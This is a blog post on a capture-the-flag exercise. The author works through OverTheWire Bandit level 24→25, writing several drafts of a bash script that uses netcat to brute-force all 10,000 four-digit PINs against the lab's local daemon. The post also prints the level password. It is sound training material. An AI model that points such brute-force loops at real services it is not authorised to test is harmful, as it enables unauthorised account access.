DEV Community

Cover image for Solving bandit level:24-25 (Spoiler)
Zak M
Zak M

Posted on

Solving bandit level:24-25 (Spoiler)

Excuse the mess since I am posting pretty much my thoughts process here and I am working on my post-mortem skills. It gets better from here though, I think.

This is how I solved this level of the bandit game, so if you are learning Linux on OverTheWire with bandit please skip this if you don't wanna get spoiled.

If you know how to solve this differently please I would love to know how you did it.

I said SPOILER because if you copy the script you will get the answer without trying yourself and I believe it is waaayyy more fun to actually try it yourself. I posted the script though, so that if you look at it and see where I can improve and do better next time lemme know.

I appreciate the feedback

The vital signs:

Level Name: Bandit 24 → 25
Struggle Time: 3 - 4 hours
Complexity: 7/10… I think the logic was pretty straightforward…. But I struggled a bit with the right syntax
50% The hunt ( Offense and Strategy ):
The way I went about it was that I knew I was supposed to use a loop… The problem was just that I didn’t know how I would stop the loop… So finding out what any type of leaks or signals or I don’t know, anything I could use to stop the loop was a priority…
So I first tried connecting manually with the wrong password. I realized that sometimes people will leave signs, oracles… For example, the same output every time the wrong data are submitted… So I used that to my advantage. That was really what it took to be honest because the rest was just implementing the logic and understand the syntax of certain commands
Here is the code:

#!/usr/bin/env bash 
echo "Let's get this password" 
echo " " 
HOST="localhost" 
PORT=30002 
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8" 
output="$( printf "$Passwd 0000"'\n' | nc -q 0 "$HOST" "$PORT" )" #This just saves the result of the first attempt, which is wrong on purpose

#Get the pin and save one at the time inside a variable 
seq -f "%04g" 0 9999 | while read -r pin; 
do 
if [[ "$output" != *"Wrong"* ]]; then 
echo "The server response is: "$output" " 
exit 0 
else 
i=$((i+1)) 
#Start counting iterations 
output="$( printf "$Passwd $pin"'\n' | nc -q 0 "$HOST" "$PORT" )" 
#Print every 100th attempt pin code 
If (( i % 100 == 0)); then 
echo "Tried "$i" pins. Current pin: "$pin" " 
fi 
fi
done
Enter fullscreen mode Exit fullscreen mode

30% Architectural (The Why)

To get the pins though, I struggled a little bit because first I was just generating all possible 4-pins combos and putting them in a variable… I did not realize that that’s what that variable would contain (All possible pins) therefore making the pin false… So I thought I should probably use a loop to iterate the pin generating command and save one pin at the time inside the variable, then use that variable to send the pins:

//Get the pin and save one at the time inside a variable
seq -f "%04g" 0 9999 | while read -r pin;

20% Defensive
So I am also trying to break my own code after solving each level so I learned about how timing can be one of the greatest leaks… So since my code assumes that I can just submit the password at the same time as I am connecting to the server, if I was a defender I would delay the interaction part. You will always get it wrong until I finish showing the full banner. However, since the full banner comes in 2 lines, I am going to delay the second line…

The “aha” moment I had while doing this was understanding the difference between timeout and -q… This was pretty pretty cool…
Anyways, that is the little post mortem.

Here below is the messy steps I recorded:

This is for all the note I will be taking and keeping for bandit24-25:

  1. Yes I can just connect to a port from the inside a bash script... >> nc localhost 30002... This would work to connect. Now I am thinking, I think I know how to do this but I just forgot how, I should prompt the user to press enter before the rest of the script keeps going or goes to the next: >> read -rp "Press enter to continue..." I don't think there is a clean way to do that. So we will just directly connect to the port and then send the data asked NO need to overcomplicate the script when we only need one thing.

==Strategy
So I am thinking:

  1. I already know in what format they want us to send the data
  2. I know how to generate the pin codes.

==To-do

  1. Combine both to send the data to the port
  2. Also, how can I capture the failure message? >> output="$( printf 'pass pins' | timeout 2 nc localhost 30002 )" this will capture the stdout that I can use to check my loop

I will try something:
output="$(nc localhost 30002)"
Let's see how that works.

==Attempts:

seq -f "%04g" 0 9999
This is the fastest way to generate the 4-pins code, I tested it with the "time" command and ran 2 scripts to choose which one
was the fastest, but how can I use this iteration as a loop counter to keep going until I get
the right pin ??
I can use the while loop which checks with the statement instead of a counter.

==First:

#!/usr/bin/env bash

echo "Let's get this password"
echo " "
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
Pin="$( seq -f "%04g" 0 9999 )"
output="$( printf '"$Passwd" "$Pin"\n' | timeout 2 nc "$HOST" "$PORT" )"

while [[ "$output" == *"Wrong"* ]]
do
i=$((i+1)) #Start counting iterations

output="$( printf '"$Passwd" "$Pin"\n' | timeout 2 nc "$HOST" "$PORT" )"

#Print every 100th attempts pin code
if (( i % 100 == 0)); then
echo "Tried "$i" pins. Current pin: "$PIN" "
fi
done
Enter fullscreen mode Exit fullscreen mode

Why did this first attempt not work ??
I looked it up and saw what I was doing wrong. The first and major one was the way I was generating pins and passing them as inputs
My "Pin" variable was generating the entire sequence and saving all the attempts at once. I thought of a way to get one pin at the
time. So, maybe a loop? This will loop through the sequence and capture every pin that is being generated and saving one at the time.
It is like reading numbers from a file. That way I can take one pin at the time, save it inside that variable, test it, if good, then we have found the pin if not then we go back, update the variable with a new pin then do it again

To iterate inside the pin generator

seq -f "%04g" 0 9999 | while read -r pin; do... done

Ref. Check file test.sh for reference

This will have the sequence generator which will produce the pin and then each pin will be saved inside the pin variable

==Second:

#!/usr/bin/env bash

echo "Let's get this password"
echo " "
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

#Get the pin and save one at the time inside a variable
seq -f "%04g" 0 9999 | while read -r pin;
do
output="$( printf "$Passwd $pin"'\n' | timeout 2 nc "$HOST" "$PORT" )"

if [[ "$output" == *"Wrong"* ]]; then
       i=$((i+1)) #Start counting iterations

       output="$( printf "$Passwd $pin"'\n' | timeout 2 nc "$HOST" "$PORT" )"

       #Print every 5th attempts pin code
       if (( i % 5 == 0)); then
               echo "Tried "$i" pins. Current pin: "$pin" "
       fi
else
echo "The server response is: "$output" "
exit 0
fi

done
Enter fullscreen mode Exit fullscreen mode

This works but Jesus does it take forever...

I think it is because of the time it takes to reconnect

===============DEBUG===============================

#!/usr/bin/env bash

echo "Let's get this password"
echo " "
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$( printf "$Passwd 0000"'\n' | timeout 1 nc "$HOST" "$PORT" )"

#Get the pin and save one at the time inside a variable
seq -f "%04g" 0 9 | while read -r pin;
do
if [[ "$output" == *"Wrong"* ]]; then
       i=$((i+1)) #Start counting iterations

       output="$( printf "$Passwd $pin"'\n' | timeout 1 nc "$HOST" "$PORT" )"

       #Print every 5th attempts pin code
       if (( i % 5 == 0)); then
               echo "Tried "$i" pins. Current pin: "$pin" "
       fi
else
echo "The server response is: "$output" "
exit 0
fi

done
Enter fullscreen mode Exit fullscreen mode

==============================================

#!/usr/bin/env bash

echo "Let's get this password"
echo " "
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$( printf "$Passwd 0000"'\n' | timeout 1 nc "$HOST" "$PORT" )"

#Get the pin and save one at the time inside a variable
seq -f "%04g" 0 9 | while read -r pin;
do
if [[ "$output" == *"Wrong"* ]]; then
       i=$((i+1)) #Start counting iterations

       output="$( printf "$Passwd $pin"'\n' | timeout 1 nc "$HOST" "$PORT" )"
rc=$?
echo "rc=$rc"
       #Print every 5th attempts pin code
       if (( i % 5 == 0)); then
               echo "Tried "$i" pins. Current pin: "$pin" "
       fi
else
echo "The server response is: "$output" "
exit 0
fi

done
Enter fullscreen mode Exit fullscreen mode

=========================================
======Final attemp:

#!/usr/bin/env bash

echo "Let's get this password"
echo " "
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$( printf "$Passwd 0000"'\n' | nc -q 0 "$HOST" "$PORT" )"

#Get the pin and save one at the time inside a variable
seq -f "%04g" 0 9999 | while read -r pin;
do
        if [[ "$output" != *"Wrong"* ]]; then

                echo "The server response is: "$output" "
                exit 0
else
                i=$((i+1)) #Start counting iterations

                output="$( printf "$Passwd $pin"'\n' | nc -q 0 "$HOST" "$PORT" )"
                #Print every 100th attempts pin code
                if (( i % 100 == 0)); then
                        echo "Tried "$i" pins. Current pin: "$pin" "
                fi
        fi

done
Enter fullscreen mode Exit fullscreen mode

This one works...

I do comment a lot when I am coding because my brain cannot remember what it is doing as soon as I blink so it helps me even if sometimes it is messy... haha

Hope you enjoy this ride

Top comments (0)